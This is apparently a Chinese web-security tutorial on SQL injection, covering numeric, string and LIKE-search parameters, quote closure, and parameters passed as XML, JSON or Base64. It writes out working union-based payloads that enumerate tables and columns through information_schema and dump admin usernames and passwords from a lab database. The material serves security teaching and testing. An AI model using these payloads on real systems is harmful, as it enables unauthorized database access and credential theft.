当前位置: 首页 > article >正文

Web攻防-SQL注入数据格式参数类型JSONXML编码加密符号闭合

知识点:
1、Web攻防-SQL注入-参数类型&参数格式
2、Web攻防-SQL注入-XML&JSON&BASE64等
3、Web攻防-SQL注入-数字字符搜索等符号绕过

案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XMLJSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。

一、演示案例-WEB攻防-SQL注入-参数类型&符号干扰

需要考虑闭合问题
在这里插入图片描述

数字

select * from news where id=$id; 

在这里插入图片描述
在这里插入图片描述

字符

select * from news where name='$name'; 

在这里插入图片描述
在这里插入图片描述

搜索

select * from news where name like '%name%';
符号干扰:有无单引号或双引号及通配符等

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

%' order by 3#

在这里插入图片描述

%' union select 1,2,3#

在这里插入图片描述
在这里插入图片描述
知道数据库名:news_db

获取数据库名下的表名信息:
借助自带的information_schema.tables表(记录所有数据库名下的表名)

1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#

在这里插入图片描述
admin表名下的列名
借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)

1%' union select 1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#

在这里插入图片描述
查询列名相关数据

1%' union select 1,username,password from admin#

在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-参数格式&参数编码

1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递
3、数据传递采用JSON又采用编码传递

XML

<?xml version="1.0" encoding="UTF-8"?>
<news><article><id>1</id><title>xiaodi</title><content>i am xiaodi</content><created_at>2025-03-07</created_at></article><article><id>2</id><title>xiaodisec</title><content>i am xiaodisec</content><created_at>2025-03-06</created_at></article>
</news>

在这里插入图片描述
在这里插入图片描述

JSON

{"news:"[
{"id": 1,"title": "xiaodi","content": "i am xiaodi","created_at": "2025-03-07"
},
{"id": 2,"title": "xiaodisec","content": "i am xiaodisec","created_at": "2025-03-06"
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Base64

{"news": [
{"id": "MQ==","title": "eGlhb2Rp","content": "aSBhbSB4aWFvZGk=","created_at": "MjAyNS0wMy0wNw=="
},
{"id": "Mg==","title": "eGlhb2Rpc2Vj","content": "aSBhbSB4aWFvZGlzZWM=","created_at": "MjAyNS0wMy0wNg=="
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实例应用-编码注入案例

https://mp.weixin.qq.com/s/Xf08xaV-YcZsQopE19pPEQ

http://www.lryc.cn/news/2387628.html

相关文章:

  • 浅谈测试驱动开发TDD
  • 深入解析 Flink 中的时间与窗口机制
  • 医疗AI项目文档编写核心要素硬核解析:从技术落地到合规实践
  • voc怎么转yolo,如何分割数据集为验证集,怎样检测CUDA可用性 并使用yolov8训练安全帽数据集且构建基于yolov8深度学习的安全帽检测系统
  • vllm server返回404的一种可能得解决方案
  • kafka之操作示例
  • MySQL问题:MySQL中使用索引一定有效吗?如何排查索引效果
  • OpenSSL 签名验证详解:PKCS7* p7、cafile 与 RSA 验签实现
  • 利用 `ngx_http_xslt_module` 实现 NGINX 的 XML → HTML 转换
  • C语言队列详解
  • Qt中的智能指针
  • 车载网关策略 --- 车载网关通信故障处理机制深度解析
  • 三天掌握PyTorch精髓:从感知机到ResNet的快速进阶方法论
  • Python爬虫实战:研究Selenium框架相关技术
  • 分布式缓存:三万字详解Redis
  • BiLSTM与Transformer:位置编码的隐式vs显式之争
  • html5视频播放器和微信小程序如何实现视频的自动播放功能
  • 【QT】QString和QStringList去掉空格的方法总结
  • 58同城大数据面试题及参考答案
  • 25.5.27学习总结
  • 关于vue结合elementUI输入框回车刷新问题
  • vue项目表格甘特图开发
  • Spark 中,创建 DataFrame 的方式(Scala语言)
  • Python----目标检测(MS COCO数据集)
  • 塔能科技:有哪些国内工业节能标杆案例?
  • 图论:floyed算法
  • 嵌入式系统C语言编程常用设计模式---参数表驱动设计
  • OpenCV CUDA模块图像过滤------创建一个行方向的一维积分(Sum)滤波器函数createRowSumFilter()
  • Frequent values/gcd区间
  • 08SpringBoot高级--自动化配置